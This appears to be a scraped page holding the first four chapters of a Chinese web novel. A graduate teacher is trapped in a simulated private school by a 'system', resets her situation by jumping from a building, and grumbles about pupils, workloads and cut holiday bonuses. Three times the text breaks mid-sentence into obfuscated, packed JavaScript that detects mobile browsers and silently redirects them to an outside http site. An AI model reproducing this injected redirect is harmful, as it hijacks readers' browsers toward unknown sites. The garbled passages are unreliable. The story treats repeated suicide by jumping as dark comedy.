《上辈子杀猪,这辈子教书!》 1. 她不想活了 “叮,计划重新开启。” 一阵熟悉的声音在肖遥脑海中响起。她慢慢睁开眼睛,又看到了熟悉的天花板,这一次她直接躺在了地上。 肖遥揉了揉脑袋,回忆起坠楼前的那一刻。 啧,心慌慌的。 算了,下次换个死法吧。 肖遥叹了口气,挣扎着起身,准备再和这个智障系统好好“谈判”。 只是还未等她开口,系统已经急急忙忙地“安抚”她:“亲亲亲!!!” “考虑到你的实际情况,系统已经重新为你设定教学背景了。你是私立初中的道法老师,不当班主任,不参与行政事务,只管教学!只管教学!只管教学!” 哦? 只管教学? 肖遥脑中滑过一丝想法,没出声。 看着她沉默的脸庞,系统又小心翼翼道:“系统真的只能为你做到这个地步了。呜呜呜呜,毕竟真的没办法选择学生。谁叫我们的教学设定就是‘有教无类’呢。” 听着系统委屈的声音,肖遥轻哼一声。 有教无类? 呵呵,孔子来了21世纪都得被投诉。 “行吧,那就这样吧。” “好哦!亲。”系统终于松了一口气,原本灰霾霾的光团又开始变得亮堂堂的。 “只是,你下次想清楚再跳哦。你再死一次,系统这边也没办法再帮你重置计划了。”系统捂了捂它的小心脏,再次小心提醒道。 毕竟它眼前这位老祖宗可是两天内“找死”了两次。 肖遥转了转脖子,没好气道:“放心,我又不是有病,不会动不动找死。” 毕竟她还想回到现实世界。 听到肖遥的保证,系统终于安下心来。 “亲,这一次,其他的设定还是和之前一样。希望你这学期能顺利渡过。”话音刚落,肖遥眼前的蓝光瞬间消失。 ...... 跑那么快干嘛,她又不会吃人。 不对,它没实体,吃不了。 肖遥叹了口气。 她整理好衣物,打开了房门,走向了那栋她刚刚跳下来的教学楼。 肖遥实在不想过去,可没办法。不完成系统的任务,她就没办法回到现实世界,她就会在这里循环。虽然刚刚听系统的意思,她再死一次,就真的死亡了。 但无论是哪种,肖遥都不想要。 肖遥抬头望天,云层密布,似乎即将降下一场大雨,这样的天气正如3天前一样。 3天前,肖遥还是个普通的大四学生,在学校推荐的中学里实习。出事的前一天晚上,她还在熬夜赶教案,为第二天的教学做准备。 可谁知,她刚走到学校门口,就莫名其貌地踩空,掉进了学校正在施工的洞里。 然后,她就莫名其妙地死了,莫名其妙地遇见了这个破系统,莫名其妙地开启了这个所谓的新手教师成长计划。 什么是新手教师成长计划? 那个青蓝,也就是系统,讲了一大堆,肖遥没太记住。 她总结了一下:在未来社会里,新手教师以及被家长投诉过多、学校判定年度不及格的老教师需要重新接受培训,培训的内容就是让你在一个模拟的学校环境里完成各项任务,以此检测你的教学能力、科研能力、家校沟通能力等等。只有及格了的教师才能正式上岗,一直到退休才能终止。 一句话概括:这个计划是为社会培养更忠诚的牛马,提供让家长满意的教育服务。 听完这个计划的肖遥,忍不住地冷笑。 什么傻叉计划,也不知道是上面哪个智障想出来的办法。 家长随便投诉一句,教师就得立刻道歉和反省。看来未来社会,教师的地位是一日不如一日啊。 真是悲哀。 肖遥摇摇头,不禁叹了口气。 至于她是怎么被开启了这个计划? 系统又解释了一堆,概括起来就是世界线出现了问题,她是不小心被卷入进来的。她同样需要完成任务,系统判定及格了她才能出去。 也就是说,肖遥是个倒霉蛋子。 肖遥很头疼,她并不想参与这个破计划。 她就读于本地一个211师范大学,但她并不想当老师,这是她强势的母亲为她安排的一条路。只是要想毕业,必须完成教学实习,所以她才会来到家附近的中学实习。 谁知道实习的第一周就出事了。 不过肖遥看得开,来都来了。 加上这个系统说,只要参与了这个计划,就可以回到现实世界,并且直接跳过实习期。 肖遥觉得也不是不可以,毕竟在哪干不是干呢。 她工作的地方是A市实验学校,当地一间中上水平的私立学校。按照设定,她是刚毕业来到这里工作的新手教师,带的是七年级2个班的语文兼班主任。 这是什么buff叠加? 新老师+主科+班主任。 肖遥听到校长说的这个安排后,她立刻打开了校长办公室的窗户,无视身后校长的尖叫声,断然从教学楼4楼跳了下来。 笑话,让她干这个,早死晚死有区别吗?还不如现在就去死。 没多久,肖遥再次在宿舍醒来。眼前依旧是那团蓝光。 “亲,为什么要跳呀!!!”系统不可置信,哪有老师工作第一天就跳的? 肖遥直直地躺在沙发上,温和道:“我不是汉语言文学专业的,我教不了语文。” “更重要的是,谁不知道初中那群破小孩什么脾性,我才不当班主任呢。(^v^)” 初中,狗都嫌的年龄段。 系统看着肖遥四处张望,最后看向桌上的水果刀。它急忙道:“可是这个计划要考核家校沟通合作能力啊!” 小蓝光急得团团转,脸上也不再是肖遥一开始遇见的冷静和沉着。 “要不这样,不当班主任了,但是你要多和家长沟通,反应孩子的学习情况。” 肖遥想了想,这个没问题。 她放下水果刀,微笑地看向这团逐渐灰蒙蒙的蓝光,“开始吧。” 第二次的设定还是新手教师,教授英语,不再担任班主任。 肖遥勉强应下了。 只是肖遥没想到,第一天下午,又出现了幺蛾子。 肖遥看着面前大腹便便、一脸奸笑的校长,她想她应该把那把水果刀带来的。 “肖老师,我们学校的行政办刚好缺个人手,你就过去帮个忙,处理一下事务,工作不多的,每个月给你加500的工资。” 肖遥皮笑肉不笑地拒绝:“校长,我刚毕业,还是应该将更多的时间花在课堂上,提升教学能力,这才是最重要的对吧?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239876|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >校长继续pua道:“我相信你的能力,师范大学毕业,教学没问题。再说,你刚刚毕业,正是需要磨练的时候,学校需要你。而且行政办接触全校的老师,你刚好借这个机会认识其他老师。我也是看你有能力才找你的。” 肖遥还想继续回绝,只是校长一锤定音:“就这么决定了,肖老师兼职行政办的工作。” 我决定你大爷! 肖遥翻了个白眼。 脑海中的小青蓝似乎感应到了什么,只是还未等它开口。 肖遥再次在校长的尖叫下,打开了窗户,纵身一跃。 于是就有了第3次系统的妥协。 果然,只要一个人不怕死,没什么是解决不了的。 肖遥很满意自己的做法,只是不能老是跳楼了。 她到现在心还慌慌的。 肖遥走进办公室,回到了自己的工位上准备开学第一课。旁边工位的陈老师热情地打了个招呼,举着手里的一盒小番茄问:“肖老师,吃水果不?” 肖遥捏了1颗放进嘴里,礼貌感谢道:“谢谢,很甜哦。” 陈老师羞涩地笑了笑,又拿着水果继续询问其他人。 这位陈老师教历史,比肖遥早进来一年,都负责7年级5个班的教学。 肖遥对她印象挺好的,刚来办公室时,她就给肖遥介绍了学校的情况。 A市实验学校是个中上水平的民办学校,分为初中部和小学部,实行小班制教学,初中每个年级10个班,小学每个年级5个班,共1700多人,教师和后勤人员200多人。 学校中央是两栋教学楼,七年级学生和教师都在1号教学楼的2楼,八、九年级依次在3、4楼,小学部则在另一栋楼。两栋教学楼包含了美术室、音乐室、器材室、活动室、图书馆等场所。 小学部教学楼的旁边则是两栋学生宿舍紧挨着,女男分开住,一楼则是两个饭堂。再旁边是教师宿舍楼,4人一个套间,公用2个洗手间和浴室,1个厨房和阳台。 总体来说,这个学校的基础设施还是可以的,也不枉费学生每个学期交的6万学费和生活费。 领导班子有1个正校,3个副校,下面还有教务处、政教处、行政办、后勤处、团委、招生处等一堆主任。 至于为什么这么多个副校长?因为他们分管教学、总务和德育。 但用音乐王老师的话来说就是:“这些领导不在一个月都不影响学校的运行。” 肖遥觉得很有道理,毕竟这些领导下面还有一堆兼任工作的老师,具体事务都由这些人执行。 而领导嘛,当然只是领导啦。 历史陈老师没说太多,只叮嘱了句:“远离这些人就行。” 七年级有29个老师,办公室有3个,办公室1和办公室2都集中了班主任和主科老师。 肖遥很幸运,来到了办公室3,1个道法老师+2个历史老师+1个体育老师+2个美术老师+2个音乐老师+2个信息老师。 很显然,这是一个可以放心摸鱼、无太多学生烦扰的副科办公室,且办公室的老师目前看起来都挺友好的。 肖遥很满意。 7点58分,学校预备铃响了。 肖遥戴上扩音器,拿起U盘、课本、教案本和翻页笔,从容地走进了702班教室,开始了她这一学期的教学。 2. 开学了 开学第一课,其实没什么好讲的。 学生刚从小学升上来,还懵懵懂懂的,最重要的还是纪律问题,因此肖遥不准备讲新课。 “上课。” “老师好。” “同学们好,请坐。” 肖遥看向下面正襟危坐的32个学生,微笑地打开了自己的课件。 “首先,欢迎同学们来到新校园,开启自己的初中生活。今天是开学第一课,我们不讲新课,老师先和同学们熟悉一下。” 肖遥在黑板上写下自己的名字。 “我姓肖,同学们可以叫我肖老师。这学期我将担任702班的道法老师。” “现在,老师想请同学们做一个自我介绍,让老师也认识一下同学们。” 肖遥走向第一排第一位学生,“我们从这位同学开始吧。” 第一位是个女生,可能因为是第一个发言,她的声音有些颤抖:“老师好,我叫方魏萍。” “魏萍,你好。”肖遥微笑回应。 她安抚般地拍了拍学生的肩膀,示意她坐下。 “老师好,我叫邓安。” “老师好,我叫甄琪琪。” ...... 32位学生依次介绍完毕,肖遥也走回到讲台。 虽然只是简单的自我介绍,但也让她对702班的学生有了个大概认识。 有的学生腼腆,有的学生外向,有的学生沉稳,有的学生搞怪。 当然,还有的学生喜欢吸引其他人的注意力。 肖遥看向最右边的男生,刚刚一个简短的自我介绍,他就能扯东扯西,让全班学生哄然大笑。 肖遥隐隐有种预感,这个学生将成为她的心腹大患。 “什么叫道法课呢?我们这门课程的全称是道德与法治。” 肖遥抛出问题:“我们为什么要学习道法?” 其中一个学生快速答道:“因为中考要考。” “哈哈哈哈哈哈哈哈哈哈哈哈哈” 这个答案让其他学生忍俊不禁。 肖遥也不禁笑了笑,初一的孩子还是直肠直肚。 “这是一个原因。”肖遥继续引导,“学这门课有什么作用?” “老师给同学看一个视频,请同学们思考,道德与法治对我们的人生起到了什么作用......” 40分钟的开学第一课很快过去,肖遥在这节课讲了初中道法是什么?为什么要学习?要学习的内容有哪些?怎么去学习? 以及最为重要的课堂纪律。 严慈并济,是肖遥准备为自己打造的人设。 她不是班主任,也不是主科老师,一周3节的道法课,以及大家普遍对副科不重视的态度,使得学生较难树立起对她的害怕。 因此,她必须要在第一课就建立自己的课堂规矩,并在前期严格执行。 否则,后面的课就难上了。 毕竟,学生惯会看人下菜,欺软怕硬。 这是肖遥从她的母亲和其他老教师身上学习到的经验。 好在,肖遥身高174,面容清秀,长发被利落地扎成了马尾。 对于这群还只是12岁的初一学生来说,她有着绝对的身高压制,足以给学生带来压迫感。 再加上她的声音偏低沉,不笑的时候,更显得整个人凶巴巴的。 这点在她后半节课讲纪律的时候,尤为明显。 “下课。” “老师,再见。” 这节课肖遥上得比较满意,因此准点下课。 她带7年级5个班的道法课,一个班一周3节,一共15节,平均一天3节课,这个课时对她来说还能接受。 下午还有两节课,肖遥回到办公室后,便着手准备正课。 虽然她本科专业不是思想政治教育,但是这个系统还是有点好的地方,就是会将教学需要的课件、试卷、作业等资源快速整理出来给她,再加上提前备课。所以肖遥并不担心她会上不好课。 毕竟,多的是教师教的学科非本专业,尤其是在民办学校。 “叮咚~” 肖遥点开微信,是七年级另一位道法赵老师的信息。她是708班的班主任,也是道法科组组长。 赵老师:肖老师,这是本学期的教学计划,请你先拟定教学计划,周四上午二、三节是我们科组的教研时间,到时候记得去教研室。 肖遥回了个收到。 唉,还得先写好本学期的教学计划。 肖遥打开某书,准备参考参考别人的教学计划。 第二节课开始后,办公室的人少了一半。 坐在肖遥对面的美术何老师便跟她闲聊了起来。 “刚刚我去隔壁办公室,听说七年级有好几个学生要退学。” “为什么?”肖遥抬起头,疑惑道:“今天不是刚开学?” 美术何老师耸了耸肩,“说是不适应学校的作息,觉得太累了。孩子太吵闹了,家长就想换个学校。” 作息? 肖遥找出A市实验学校的学生作息表,她快速扫了一眼,不由得暗暗点头。 确实是累了些。 A市实验学校初中学生作息表 起床:6:30 晨跑和早餐:6:45-7:20 早读:7:20-7:50 第一节:8:00-8:40 第二节:8:50-9:30 大课间:9:30-10:00 第三节:10:00-10:40 第四节:10:50-11:30 第五节:11:40-12:20 午餐:12:20-13:00 午休:13:00-14:00 第六节:14:10-14:50 眼保健操及课间:14:50-15:05 第七节:15:05-15:45 第八节:15:55-16:35 活动课:16:45-17:25 晚餐及洗澡:17:25-18:30 晚读:18:30-19:00 晚修第一节:19:00-19:40 晚修第二节:19:50-20:30 晚修第三节:20:40-21:20 晚修第四节(初三):21:30-22:00 活动及洗漱:21:20-22:20 点名:22:20:22:30 晚寝:22:30-6:30 肖遥摇摇头,满是感慨:“现在学生比我们读书那会累多了,我记得我早上都不用晨跑。” “毕竟是寄宿制学校,上面又要求增强学生的身体素质。” 美术何老师却习以为常,毕竟每年都有这么几个学生要退学。 “这学期开始,学生的体育课都变成了一周两节了。” 正在工位上写教案的体育邓老师也搭话道:“初三学生放学后还得进行训练,准备中考体育。” 所以体育老师放学后都得留下来加班。 “不仅学生累,老师也累。” 肖遥微微皱眉,她早就听说民办学校卷,学生累,但都没有这么切实的感受。 她从小上的是公办学校,实习学校也是公办的,无论是教学还是管理都没那么严格。 这还是她第一次接触民办学校。 肖遥暗暗叹了口气,随即又火上心头。 她在脑海中把系统唤了出来。 “系统,为什么新手教师成长计划给我设定的背景是民办学校?” “本来民办学校卖的就是教育服务,不合格的教师自然会被学校辞退。有必要让我来民办吗?” 小蓝光弱弱回道:“亲,无论公办还是民办学校,其实都归教育 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239877|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 局管理。未来社会生育率下降,很多低端民办学校都倒闭了,还有部分由民办转为公办。” “为了提供更好的教育,无论是公办还是民办的教师,都要参加培训。” “其中公办学校的教师常常被投诉不管学生、有了铁饭碗就躺平和佛系。因此,基本上培训的教师去的学校都是民办学校,就是要通过民办学校卷的制度培养你们。” 肖遥:。。。 呵呵。 系统看了眼不耐烦的肖遥,又继续劝道:“亲,你是道法老师,不像班主任和主科老师课多,还要经常接触学生,也不用像音体美老师那样,指导学生参加各种比赛。” “学生累就累吧,ta们的父母都不在意,你也不用担心的。” “现在的社会,不这么卷,学生怎么出成绩?” 肖遥眉头紧皱,她没有反驳系统的话。 毕竟它的话不无没有道理,或者说这是大家公认的看法。 她改变不了什么。 只是,她越来越讨厌当老师了。 肖遥没再理会系统,继续完成她的工作。 上午的时间匆匆而逝。 第四节下课后,肖遥准备和同样没有第五节课的历史陈老师一起去饭堂吃饭。 还未出门,便看见音乐王老师气冲冲地走进了办公室,后面跟着两个吊儿郎当的男学生。 有事情。 肖遥和历史陈老师对视了一眼,默契地决定再留下来搞会工作(吃瓜)。 音乐王老师端起杯子,喝了口水压了压心头的怒火。 可当他看见面前的两个学生站没站样,还冲着他嬉皮笑脸。他的怒火又上来了。 “你们站好了。” “说说看,你们在课堂上笑什么?” 两个男生对视了一下,又莫名其妙地大笑起来。 “老师,我们没笑什么啊。” “我让你们别笑了。” 对上老师严肃的眼神,这两个学生才收敛了一些,没再笑出声。 音乐王老师又问:“说吧,为什么我说67,你们就笑。” 其中一个高个子回道:“老师,我们就是突然想笑而已。” “那你们知不知道,你们在课堂上频繁大笑,会影响整个课堂?其他同学也会跟着笑,老师还怎么上课?” “......” 音乐王老师看到这两个人就头疼,打又打不得,骂他们也不在乎。 他只能用别的方式惩罚他们。 “你们,站旁边去,给我写检讨,500字!” “老师,200字行不行,写不完啊。” “放心,一节课写得完。” “老师,我们等会还要上第五节。” “第五节是劳动课,我跟你们水老师打过招呼了。” “不要啊.......” 肖遥关上办公室的门,也隔开了学生的嗷嗷大叫。 “这两个学生就是颠公。”历史陈老师忍不住翻了个白眼,“我以前带过他们初一历史,一上课就好像点了笑穴,笑个没完。” “笑什么啊?”肖遥不解。 “什么都笑,听到67笑,听到78也笑。恶心死了。”陈老师一脸嫌弃,“他们班主任也不管,每每把学生的事情告到他那边去,他不痛不痒说两句就完了。” “难怪他们那么嚣张,也不怕其他老师。” “是的,所以我最不喜欢上这个班的课。” 陈老师似乎又想到了什么,悄悄压低了声音:“你以后上课得小心点,注意一下那些男学生。虽然只是初一,但现在学生可早熟了。” 肖遥心领神会,“明白了。” 豆大点雨滴落在地板上,在肖遥脚边溅起水花。 她看向天空,沉寂了一早上的天空终于落下了大雨。 肖遥预感,这个学期大概会很难熬了。 唉。 3. 上不完的课 开学第一周,肖遥的教学还没有出现什么问题。 可到了第二周,肖遥发现,她的课要上不完了。 这个上不完来源于两方面。 一是新教材内容过多。 肖遥和道法赵老师在教研时,商讨过教学内容和计划,一致认为本学期开始的新教材增加的内容太多了。 不仅老师一节课上不完,对于刚升上初中的学生来说,也很吃力。 她们只能尽力在课堂上讲重难点,非重点的一笔带过。 二是学生不配合。 道法赵老师是带完初三后,轮转到初一带新的一届。 虽然只上了几周的课,但她明显感觉到,一届学生不如一届。 好好的道法课,甚至有时竟让她上成了语文课。 肖遥赞同地点了点头。 她在五个班上课,每个班或多或少都有那么些个奇葩学生。 或上课交头接耳,或沉默不语、发呆。 或玩玩手指,玩玩笔,玩玩同桌的衣服,或倒头就睡。 有的甚至无法沟通。 “同学们,我们为什么要有梦想?” “不知道。” “我没有梦想” “我的梦想是要吃鸡” “开黑!” “哈哈哈哈哈哈哈哈哈哈哈” “牛逼” ...... 肖遥深吸一口气,威胁的眼神射向下面,制止了那几个胡言乱语的学生。 幸好她的贴心小棉袄科代表认真读出了课本上的答案:“因为梦想能不断激发我们生命的热情和勇气......” ...... “现在同学们分为6个小组,阅读老师给出的材料并结合课本进行小组讨论,思考:我们怎样做到善于学习?也就是如何学会学习?4分钟的时间,老师等会请同学回答。” 肖遥点开希沃倒计时,开始在学生间走动。 虽然讨论的声音很微弱,但大部分学生还是有认真完成她的任务。 除了,个-别-学-生。 肖遥沉着脸走到第二组,敲了敲桌子,试图唤醒走神的学生:“老师现在让你阅读材料和课本,和组员讨论问题。” 肖遥指了指PPT上的问题。 “哦~” 学生不紧不慢地翻开课本。 继续保持沉默。 肖遥忍了。 她走到第三组,翻页笔指向正在揪同桌衣服的学生的手:“你同桌的衣服有那么好玩吗?” “老师,我没玩!” 又是理直气壮的否认。 “老师还没瞎呢,前半节课眼神示意你多少次了?” “老师,我错了。” 毫无诚意的道歉。 肖遥忍了。 她撇向最后一排趴着桌子的学生。 旁边的学生反应极快,用手推了推他。 被推醒的金华辰迷迷糊糊地直起身体,对上肖遥微冷的视线。 他赶紧狡辩:“老师,我没睡。” “你都趴在桌子上闭上眼睛了,还跟我说没睡?” “我只是闭目养神。” “金华辰你可以啊,重新定义了睡觉。” 肖遥都要被气笑了。 “这么想睡觉,就回家睡。” “老师,我错了。” 又是毫无诚意的道歉,肖遥听到这句话都要ptsd了。 “站起来。” “哦” 虽然站着,可金华辰还是那副要死不活,醒不来的鬼样。 肖遥没眼看,毕竟每次上道法课,他都要趴几回。 跟班主任反应,结果被告知,他连班主任的课都睡。 跟家长反应,家长了说周末回去会教训。 实际上呢? 下一周来了还是这样。 而作为老师,她也不能对学生有什么太大的惩罚。 抄写、检讨没效果。 稍微有点效果的罚站她都得看着时间,尽量不超过10分钟。 毕竟,她可不想被家长告到jyj。 肖遥心里默默叹了口气,安慰自己。 好歹他还站起来了,算给她面子了。 ...... 在最后课堂小结的时候,她示意学生做笔记。 肖遥读书时在老师眼中也是个乖乖学生,自主学习能力还不错。上课做笔记这种事情在老师提醒之前,她就已经在做了。 无它,不会的东西就记下来不是很正常? 可惜了,她似乎遇到了一群毫无学习能力的学生。 “老师,笔记做在哪一课?” 同桌指了指黑板上的标题,无语答道:“笨啊,这是第三课啊。” “老师,抄哪些啊?” “老师全都要抄下来吗?” 肖遥看向PPT上写的红色大字“只抄红色字体”。 她是不是应该建议这些学生去看看眼科? “上课要认真听讲,老师已经说好几遍了,只抄红色字体。” “老师老师,意义在第几页,我没找到。” “第8页。” “第几行啊?” “......” 肖遥默默地深吸了一口气,板着脸大声道:“把笔记抄在第3课,只抄红色字体。意义在第8页的第3行。” 以防这些学生间歇性耳聋,肖遥还重复了两遍。 可当她下来检查笔记时,她又想骂人了。 笔记东一个西一个。 意义的答案,直接把整段都划了。 肖遥指了指其中一个学生的笔记,一脸的恨铁不成钢:“你全划了,跟没划有什么区别?你能快速找到答案吗?还有,老师的意义是分了3点,你的序号呢?” “哦。” 肖遥:...... 肖遥继续检查笔记,她疑惑地看向另一个学生抄的字:“为什么你只写了‘义’?” “我不会写‘yi’” “我上面不是写了吗?” 学生理直气壮道:“没看到啊” 肖遥:...... 要说学生不会写或写错的字,那可真是一大堆。 而且可不是什么笔画多、难写的字,更不是一次两次不会写。 ‘意义’写不出来,‘已’和‘己’区分不了,‘清’漏掉了三点水。 不仅道法课这样,同为文科的历史课也这样。 肖遥还记得历史陈老师在办公室的吐槽:“教这些学生真是心累。抄个笔记都一堆错别字。‘干栏式’写成了‘杆栏式’,‘司母戊鼎’写成‘死母戊鼎’,‘齐桓公’写成‘齐恒公’,‘郡县制’写成‘郡悬制’。” “连‘历史’的‘史’都写成了‘吏’字。” 陈老师摊在椅子上生无可恋:“关键是,这些易错字我上课还强调过,一到写作业就错。我都要被气死了。” 这种情况,语文课更是严重。 肖遥曾与搭班的几位语文老师同桌吃饭,大家都在吐槽教不动。 提醒了不要写错,下次还是会错。 错别字抄了20遍,下次还是会错。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239878|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更为重要的是,不少学生存在书写障碍。 语文钱老师进行总结:“字丑或鬼画符还算好了,起码形还在。有的字像鸡爪,有的字像狗爬,有的字跟钢丝球一样,有的字还分家了。完全看不出在写什么?” 怎么办? 买字帖练呗。 有效果吗? 有点,但不多。 学生不愿意写,哪怕老师苦口婆心劝导,仍不听。 跟家长反应? 这字体可不是一天两天练成的,小学老师必然提醒了。如果家长重视,孩子不至于到初中了还是这个样子。 肖遥也发过学生的作业给家长,提醒家长重视孩子的书写。 家长怎么说来着? 哦,她周末会好好督促孩子改的。 因此,肖遥不再过度干涉。连家长都不在意,她一个连惩戒权都没有的老师还是尊重他人命运吧。 只是,她还是会时不时被气到。 ...... 临近下课还有3分钟。 肖遥展示题目给学生完成,以巩固本节课的知识点。 就在这时,教室的后门打开了。 开门的声响引得肖遥和一众学生回头。 又是703班的班主任冯老师。 她朝肖遥笑了笑,肖遥回了个礼貌的笑容。 但实际上,肖遥不太喜欢这种行为,不喜欢她无故在她上课时进教室。 冯老师进来做什么呢? 提醒学生交作业,提醒学生扫地,提醒学生下课后去找她。 在肖遥看来,除非是紧急事情,否则这些小事不应该在其他老师上课的时候进来说,这很打扰上课的老师和学生,尤其是学生。 毕竟,学生最喜欢上课时出现的意外。 肖遥私下询问过其他搭班的老师,ta们纷纷表示冯老师就是有这样的习惯。 虽然不喜欢但是也没办法,总不能为了这点小事去找她吧。 肖遥也无可奈何,毕竟这位班主任还是比较负责的,她反应的学生问题,冯老师都会及时解决。 唉,包容吧。 总之,肖遥这两周上课上得极其不顺心。遇上不配合的学生,进度拖慢了,她只能在下节课把课赶上来。 好在,教师节要来了,中秋节要来了。 这意味着学校要发福利了。 前几天办公室在闲聊,老教师提到,A市实验学校往年的传统,都会在教师节、中秋节、国庆节等重大节日发慰问金和油米等日用品,今年继续有晚会活动,还有抽奖。 虽然只是个虚拟世界,但肖遥还是很在意自己的生活水平。钱多了意味着她平时可以在外面多吃上几顿漂亮饭。(^v^) 而且她知道这个学校还是很大方的,不然怎么能留住优秀教师? 可当肖遥看到银行卡发出的通知时,她怀疑自己看错了。 “今年是只有1000吗?” 不是2000吗? 信息李老师核对了信息:“我收到的是2000哦。” 行政办兼任老师·信息灵通·美术何老师看了眼手机,压低了声音:“我刚听说,今年新教师的所有福利都要被砍半,一年后才能拿完整的钱。” WTF? “为什么?” “我听说今年的新教师都有一年的试用期,所以新教师的福利要打折。” ? “何老师,以前也是这样吗?” 美术何老师和信息李老师对视了一眼,都摇了摇头:“没有,我们以前是正常发。” 岂有此理。 4. 呸,领导 肖遥怒了。 她觉得遇到了诈骗,系统和学校的诈骗。 “系统!你给我出来!” 肖遥脑海中的小蓝光逐渐清晰,一脸的谄媚:“亲,怎么了?” “为什么福利少了?直接砍了1000。按这破学校的意思,后面国庆、元旦的钱还得砍!” “亲,别生气。”系统一边安抚肖遥,一边解释道:“其实这个问题也属于是培训计划的一部分:教师如何处理和学校的关系。毕竟这种情况经常出现于民办学校。” “更重要的是,这个福利没有写进合同里面,哪怕学校以其他理由不发给你,你也没有办法。” ? 合着这是画饼把她骗进来? 作为一个涉世未深的大学生,肖遥觉得这个社会可真够黑暗的。 但她还是要去问清楚。 肖遥看了眼自己的课表,便怒气冲冲地跑去了三楼行政办。 行政办里不仅有谢主任在,还有与肖遥一样是新教师的704班班主任韩老师。 肖遥对她印象挺好的,也是位负责的班主任。 英语韩老师坐在茶几旁边,面色阴沉。 “谢主任,韩老师。” 肖遥平复心情,分别打了个招呼。 “肖老师,坐。” 似乎知道肖遥来的目的,谢主任直接邀请肖遥坐在韩老师旁边。 “肖老师也是为了福利的事情对吧?” 肖遥点点头,开门见山:“没错,谢主任,为什么我们这批新教师都要砍掉福利?这跟我们入职前说的可不一样。” “是是是,一开始确实是说好了大家的福利都一样。只是吧,”谢主任眉头微蹙,眼神里似乎也是对学校决定的不理解:“这个是学校领导给出的最新决定,我也没办法,我也是刚刚接到的通知。” “那原因呢?” “唉,肖老师。你也知道,近年来,生育率下降,对我们教育行业影响很大。你看附近多少民办学校倒闭了。今年我们新入学的学生数量都减少了,还有不少学生因为学费贵转去了公办学校,学校也是困难啊。” 谢主任叹了口气,脸上露出了为难的表情。 肖遥看着她装模做样的样子,心里翻了个白眼。 在来行政办前,美术何老师就悄悄告诉她,这个谢主任不是简单的角色,从学校建校以来就在学校了。 是金校长的得力助手。 肖遥据理力争:“学校有困难也不能砍老师的福利呀,如果你们早点说这个事情,那我也可以选择不来学校。” 逍遥认为,工作都是相互选择的,工作待遇差,她可以选择不来。 但不能弄虚作假,用高待遇把人骗来。 沉默许久的韩老师亦赞同地点点头:“没错。” “我明白老师们的心情,”谢主任抬手将碎发挽到耳后,眼神变得意味深长:“但是这个慰问金当初说好的就是福利,合同里面并没有写明学校一定要给。” 谢主任眉梢微眺,似笑非笑:“而且这个福利只是第一年减半,第二年开始就正常了。等学校渡过困难期,赚的钱多了,说不定发给老师们的奖金就多了。你们说是吧?” 得,又在画饼。 肖遥鉴定完毕。 难怪英语韩老师脸色那么难看,看来刚刚她又是被这套说辞弄得无语了。 “亲,”肖遥脑海中又传来系统的声音:“在培训计划里,民办学校都有这个设定,系统也没有办法更改。” 它继续劝道:“也还好啦,只是福利减半。有些公办学校可没这么多,有的甚至不发呢。” 肖遥冷笑一声:“非编制和编制没得比。” 系统:...... “亲,你要记住,你只在这里干一学期哦。” 肖遥:...... 唉。 肖遥叹气。 是啊,她只干一学期,她拿到的钱也拿不回现实世界。 看着肖遥逐渐舒展的眉目,系统再接再厉:“亲,再熬一熬,这学期很快就结束了。” 肖遥没理系统,她抬眸看向谢主任,嗤笑道:“谢主任,福利被砍,那工资不会也被砍吧?” “那肯定不会,写合同里的东西我们肯定执行。”谢主任连忙否认。 “那我们先回去上课了。” “好好好。” 见谈不出什么东西,韩老师率先站起来。 肖遥紧跟其后离开行政办。 “刚刚你没来之前,她也是这么说的。” 回办公室途中,韩老师率先出声:“也有老师去问了金校,得到的答复也是一样。” “恶心的领导。” 肖遥翻了个白眼,忍不住骂了一声。 “小声点,”韩老师快速看了下周围,低声道:“其实我早料到这个结果了,只是还是不甘心。” “真是不想干了。” 肖遥吐露心声,毕竟这才第一个月,后面还不知道还有什么幺蛾子。 韩老师拍了拍肖遥的肩膀,以过来人的经验劝道:“其实天下乌鸦一般黑,去哪工作都一样。你还年轻,可以在这个学校攒攒经验,有好的机会再跳槽。” 肖遥明白,她说的都是实话。 无论在哪个地方哪个行业,打工人都是被压迫的阶级。 肖遥想到她毕业后也将成为牛马大军的一员,眼神顿时无光。 唉, 能不能不工作啊。 肖遥回到办公室,历史陈老师和美术何老师正好在闲聊,看到她回来都赶忙问结果。 肖遥把谢主任的话重复了一遍。 “啧啧啧,学校好恶心啊。” 历史陈老师轻蔑一笑,直言不讳道:“什么学校困难,我看就是想减少成本。谁知道这些钱都到哪里去了。” “是的,其实从上学期开始,我们老教师也减少了很多福利。” 美术何老师欲言又止。 她看了眼紧闭的办公室门,悄声道:“从上学期开始,我们几个校长就开始说要改革,把学校搞得乌烟瘴气。” 